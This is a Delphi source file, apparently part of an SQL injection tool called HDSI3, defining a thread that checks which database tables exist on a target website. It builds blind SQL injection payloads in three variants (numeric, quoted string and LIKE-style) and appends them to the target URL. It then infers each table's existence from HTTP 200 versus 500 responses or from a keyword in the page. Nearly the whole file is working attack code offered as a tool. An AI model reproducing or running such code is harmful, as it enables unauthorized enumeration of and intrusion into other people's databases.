threadacctab.pas

sql inject HDSI3--delphi.rar

unit ThreadACCTab;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,ComCtrls;
  

  type
  TThreadACCTab = class(TThread)
  function FunTableExis(URL_source,TableName:string):Boolean;
  private
  published

  procedure Execute; override;
  public
	tablename:string;
    FURL          : String; //URL
    Complete       : Boolean;  //是否下载完毕
  end;

implementation
uses
main_unit,CJdatabase_unit,define_unit;
//******************************************************************************
procedure TThreadACCTab.Execute;
var
 item:TListItem; 
begin
 	if 	FunTableExis(FURL,tablename) then
	begin
		item:=form_main.ListView_table.Items.Add;
    item.SubItems.Add(tablename);
    item.Caption:=inttostr(item.Index+1);
	end;
  ThdTabCompleteCount:=ThdTabCompleteCount+1;
  Complete:=true;
end;
 //******************************************************************************
function TThreadACCTab.FunTableExis(URL_source,TableName:string):Boolean;
var
    icode:integer;
    URL_Check:string;
    content:string;
    label start;
begin
   case  CJdatabase_unit.Inject_methord of
       1:
         begin
         URL_Check:='%20And%20(Select%20Count(1)%20from%20'+TableName+')>=0';
         end;
        2:
          begin
         URL_Check:='''%20And%20(Select%20Count(1)%20from%20'+TableName+')>=0%20And%20''''=''';
           end;
        3:
           begin
          URL_Check:='%25''%20And(Select%20Count(1)%20from%20'+TableName+')>=0%20And%20''%25''=''';
            end;
    end;

    //URL_Check:=define_unit.SQLINJECTIONUrlToHex(URL_Check,0);
    URL_Check:=URL_source+URL_Check;
    //如果是使用关键字
    if Form_main.CheckBox_keyword.Checked=true then
    begin
      content:=define_unit.GetURLContent(URL_Check);
      if pos(trim(Form_main.Edit_keyword.Text),content)>0 then
          result:=true
      else
          result:=false;
    end
    else
      begin
          start:
          icode:= define_unit.GetURLCode(URL_Check);
          if icode=200 then
              result:=true
          else
          begin
              if icode=500 then
                  result:=false
                else
                  begin
                      goto start;
                  end;
          end;
      end;
end;
end.